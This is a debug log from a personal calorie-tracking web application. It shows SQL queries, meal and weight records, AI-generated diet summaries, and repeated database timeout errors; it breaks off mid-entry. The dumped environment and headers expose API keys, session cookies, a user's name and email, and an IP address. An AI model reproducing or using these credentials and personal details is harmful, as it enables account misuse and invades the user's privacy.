  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-26T09:54:09.256Z server-connect:app Executing action step identify
2025-12-26T09:54:09.256Z server-connect:app options: { provider: 'security' }
2025-12-26T09:54:09.256Z server-connect:output identity: 1
2025-12-26T09:54:09.256Z server-connect:app Executing action step restrict
2025-12-26T09:54:09.256Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-26T09:54:09.256Z server-connect:output restrict: undefined
2025-12-26T09:54:09.256Z server-connect:app Executing action step single
2025-12-26T09:54:09.256Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-26T09:54:09.257Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-26T09:54:10.717Z server-connect:router Serving templateView /calorie-tracker
2025-12-26T09:54:10.717Z server-connect:app Executing action step identify
2025-12-26T09:54:10.717Z server-connect:app options: { provider: 'security' }
2025-12-26T09:54:10.717Z server-connect:output identity: 1
2025-12-26T09:54:10.717Z server-connect:app Executing action step restrict
2025-12-26T09:54:10.717Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-26T09:54:10.718Z server-connect:output restrict: undefined
2025-12-26T09:54:10.718Z server-connect:router Render template calorie-tracker
2025-12-26T09:54:10.718Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AhZUsl4B7hwn%2B8F40DLl0mA%3D%3D.7h4JuEDT%2BewwY2PEZI5ZeqK%2Bko5aeaDOe8R6plS8AEMXGHs5s0Qpnxm4m4Pbk6aNkcycyC%2FesPU%2FMWdglKQ9WtPlf8nTjm7%2F2kE0kKlu7wan1p8QvrYZbWUm3k0ovmiM9sl2iehGr35X9Fh1xgfqLl9KcTnyM0TJQvIiX0o9Dfg%3D.C1dg%2BkSfCKUThDzTe%2FtF%2FDBhZAlOVq6LV1T0P60XLsM; your_r_git.sid=s%3A3wGQ-i_3h_b_71lEqWnbtRp20B-AozYi.umYUoDI3QmZhC9oXfZ3dnBplDwD0Hh6eqP9XwL5wzcI',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-27T09:54:05.731Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AhZUsl4B7hwn%2B8F40DLl0mA%3D%3D.7h4JuEDT%2BewwY2PEZI5ZeqK%2Bko5aeaDOe8R6plS8AEMXGHs5s0Qpnxm4m4Pbk6aNkcycyC%2FesPU%2FMWdglKQ9WtPlf8nTjm7%2F2kE0kKlu7wan1p8QvrYZbWUm3k0ovmiM9sl2iehGr35X9Fh1xgfqLl9KcTnyM0TJQvIiX0o9Dfg%3D.C1dg%2BkSfCKUThDzTe%2FtF%2FDBhZAlOVq6LV1T0P60XLsM; your_r_git.sid=s%3A3wGQ-i_3h_b_71lEqWnbtRp20B-AozYi.umYUoDI3QmZhC9oXfZ3dnBplDwD0Hh6eqP9XwL5wzcI',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-26T09:54:11.029Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-26T09:54:11.029Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-26T09:54:11.029Z server-connect:app Executing action step identify
2025-12-26T09:54:11.030Z server-connect:app options: { provider: 'security' }
2025-12-26T09:54:11.030Z server-connect:output identity: 1
2025-12-26T09:54:11.030Z server-connect:app Executing action step restrict
2025-12-26T09:54:11.030Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-26T09:54:11.030Z server-connect:app Executing action step identify
2025-12-26T09:54:11.030Z server-connect:app options: { provider: 'security' }
2025-12-26T09:54:11.030Z server-connect:output identity: 1
2025-12-26T09:54:11.030Z server-connect:app Executing action step restrict
2025-12-26T09:54:11.030Z server-connect:app options: { provider: 'security' }
2025-12-26T09:54:11.030Z server-connect:output restrict: undefined
2025-12-26T09:54:11.030Z server-connect:app Executing action step single
2025-12-26T09:54:11.030Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-26T09:54:11.031Z server-connect:output restrict: undefined
2025-12-26T09:54:11.031Z server-connect:app Executing action step single
2025-12-26T09:54:11.031Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-26T09:54:11.032Z server-connect:output summary: {
  summary: {
    rating: 7,
    summary: "Today's intake shows a good inclusion of protein from the whey supplement, which supports muscle development. The meal composition appears balanced with a mix of carbohydrates and some fats. However, the inclusion of Gajar Halwa and sugary tea might be less optimal for fat loss goals. Consistent gym attendance is a strong positive for your objectives.",
    bad_points: [
      'Dessert item (Gajar Halwa) may hinder fat loss',
      'Sugary tea adds non-essential calories'
    ],
    good_points: [
      'Inclusion of whey protein for muscle support',
      'Consistent early morning gym sessions',
      'Balanced meal components with dal and sabzi'
    ],
    suggestions: [
      'Prioritize whole foods and reduce added sugars.',
      'Consider a protein-rich snack post-workout if needed.',
      'Ensure adequate hydration throughout the day.',
      'Focus on fiber-rich vegetables and fruits for satiety.'
    ],
    predicted_weight: 69.1,
    rating_judgement: 'Good, with room for refinement',
    predicted_weight_trend: 'Slight downward trend'
  },
  date: '2025-12-25T18:30:00.000Z'
}
2025-12-26T09:54:11.033Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-26T09:54:11.033Z server-connect:app Executing action step select
2025-12-26T09:54:11.033Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-26T09:54:11.035Z server-connect:output item_list: [
  {
    id: 525,
    intake_date: '2025-12-25T18:30:00.000Z',
    item_name: 'Guava',
    calories: 34,
    protein_gm: 1,
    carbs_gm: 7,
    fat_gm: 1,
    quantity: 'half',
    replacements: 'Cucumber,Celery,Watermelon',
    created_at: '2025-12-25T21:29:48.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of Vitamin C and fiber, good for overall health and digestion.'
  },
  {
    id: 526,
    intake_date: '2025-12-25T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 scoop (7gm)',
    replacements: 'Black coffee (no sugar/milk),Green tea,Small piece of fruit (e.g., half banana)',
    created_at: '2025-12-25T21:29:48.000Z',
    skip_level: 2,
    skip_reason: 'While pre-workouts can enhance performance, many contain artificial sweeteners, colors, and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel a need for a boost, consider natural alternatives. The calorie count is typically negligible, but the ingredients can be a concern for long-term health.'
  },
  {
    id: 527,
    intake_date: '2025-12-25T18:30:00.000Z',
    item_name: 'Homemade Khaman',
    calories: 160,
    protein_gm: 8,
    carbs_gm: 25,
    fat_gm: 3,
    quantity: '1 serving (approx 100g)',
    replacements: 'Steamed moong dal dhokla (less oil),Plain idli,Besan chilla',
    created_at: '2025-12-25T22:45:41.000Z',
    skip_level: 1,
    skip_reason: 'Good source of protein and complex carbs, generally low in fat when homemade.'
  },
  {
    id: 528,
    intake_date: '2025-12-25T18:30:00.000Z',
    item_name: 'Gajar Halwa',
    calories: 250,
    protein_gm: 3,
    carbs_gm: 35,
    fat_gm: 10,
    quantity: '1 serving (approx 100g)',
    replacements: 'Carrot salad with light dressing,Carrot kheer (made with skim milk and less sugar),Fruit salad',
    created_at: '2025-12-25T22:45:41.000Z',
    skip_level: 3,
    skip_reason: 'High in sugar and fat, which are not ideal for muscle development and can contribute to unwanted fat gain. While it provides some vitamins from carrots, the high calorie density from sugar and ghee outweighs the benefits for your goal.'
  },
  {
    id: 529,
    intake_date: '2025-12-25T18:30:00.000Z',
    item_name: 'Tea with Sugar and Milk (small)',
    calories: 70,
    protein_gm: 2,
    carbs_gm: 10,
    fat_gm: 2,
    quantity: '1 cup (approx 150ml)',
    replacements: 'Black tea (no sugar, no milk),Green tea,Herbal tea,Tea with artificial sweetener and skim milk',
    created_at: '2025-12-25T22:45:41.000Z',
    skip_level: 2,
    skip_reason: "The sugar adds empty calories. While a small amount isn't detrimental, for muscle development, minimizing added sugars is beneficial. Milk adds some protein and calcium, but the sugar is the main concern."
  },
  {
    id: 530,
    intake_date: '2025-12-25T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle repair overnight),Egg whites,Lean chicken breast',
    created_at: '2025-12-26T00:15:45.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 531,
    intake_date: '2025-12-25T18:30:00.000Z',
    item_name: 'Hari Matar Mixed Dal',
    calories: 180,
    protein_gm: 12,
    carbs_gm: 28,
    fat_gm: 2,
    quantity: '1 bowl (approx 150g)',
    replacements: 'Lentil soup (thinner consistency),Dal without added cream/butter,More vegetables in the dal',
    created_at: '2025-12-26T01:53:12.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 532,
    intake_date: '2025-12-25T18:30:00.000Z',
    item_name: 'Boiled Rice',
    calories: 195,
    protein_gm: 4,
    carbs_gm: 43,
    fat_gm: 1,
    quantity: '1 cup (approx 150g cooked)',
    replacements: 'Brown rice (higher fiber, slightly fewer net carbs),Quinoa,Cauliflower rice',
    created_at: '2025-12-26T01:53:12.000Z',
    skip_level: 2,
    skip_reason: 'While a good source of energy, for muscle development and a desk job, complex carbs are generally preferred over refined white rice. Can be consumed in moderation, especially post-workout.'
  },
  {
    id: 533,
    intake_date: '2025-12-25T18:30:00.000Z',
    item_name: 'Haldi Sabji',
    calories: 40,
    protein_gm: 1,
    carbs_gm: 5,
    fat_gm: 2,
    quantity: 'Small quantity (approx 50g)',
    replacements: 'Steamed vegetables,Sabji with less oil',
    created_at: '2025-12-26T01:53:12.000Z',
    skip_level: 1,
    skip_reason: ''
  }
]
2025-12-26T09:54:11.035Z server-connect:app Executing action step setvalue
2025-12-26T09:54:11.036Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-26T09:54:11.036Z server-connect:output var_total: 1049
2025-12-26T09:54:11.036Z server-connect:app Executing action step setvalue
2025-12-26T09:54:11.036Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-26T09:54:11.036Z server-connect:output var_consumed: 44
2025-12-26T09:54:11.036Z server-connect:app Executing action step setvalue
2025-12-26T09:54:11.036Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-26T09:54:11.036Z server-connect:output var_deficit: 1351
2025-12-26T09:54:11.036Z server-connect:app Executing action step custom
2025-12-26T09:54:11.036Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-26T09:54:11.038Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  },
  {
    intake_date: 2025-12-22T18:30:00.000Z,
    total_consumed: '1052',
    surplus_or_deficit: '1348',
    status_flag: 2
  },
  {
    intake_date: 2025-12-23T18:30:00.000Z,
    total_consumed: '2400',
    surplus_or_deficit: '0',
    status_flag: 1
  },
  {
    intake_date: 2025-12-24T18:30:00.000Z,
    total_consumed: '1639',
    surplus_or_deficit: '761',
    status_flag: 2
  },
  {
    intake_date: 2025-12-25T18:30:00.000Z,
    total_consumed: '1049',
    surplus_or_deficit: '1351',
    status_flag: 2
  }
]
2025-12-26T09:54:11.038Z server-connect:app Executing action step single
2025-12-26T09:54:11.038Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `weight`, `date` from `health_weight_trackor` order by `created_on` DESC'
  }
}
2025-12-26T09:54:11.039Z server-connect:output current_weight: { weight: '69.30', date: '2025-12-25T18:30:00.000Z' }
2025-12-26T09:54:11.547Z server-connect:app Executing action step identify
2025-12-26T09:54:11.547Z server-connect:app options: { provider: 'security' }
2025-12-26T09:54:11.548Z server-connect:output identity: 1
2025-12-26T10:03:14.295Z server-connect:app Executing action step identify
2025-12-26T10:03:14.295Z server-connect:app options: { provider: 'security' }
2025-12-26T10:03:14.295Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-26 10:17:04' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-26 10:17:04' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-26 11:07:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-26 11:07:23' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-26 13:47:04' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-26 13:47:04' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-26 15:37:04' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-26 15:37:04' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-26 19:18:03' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
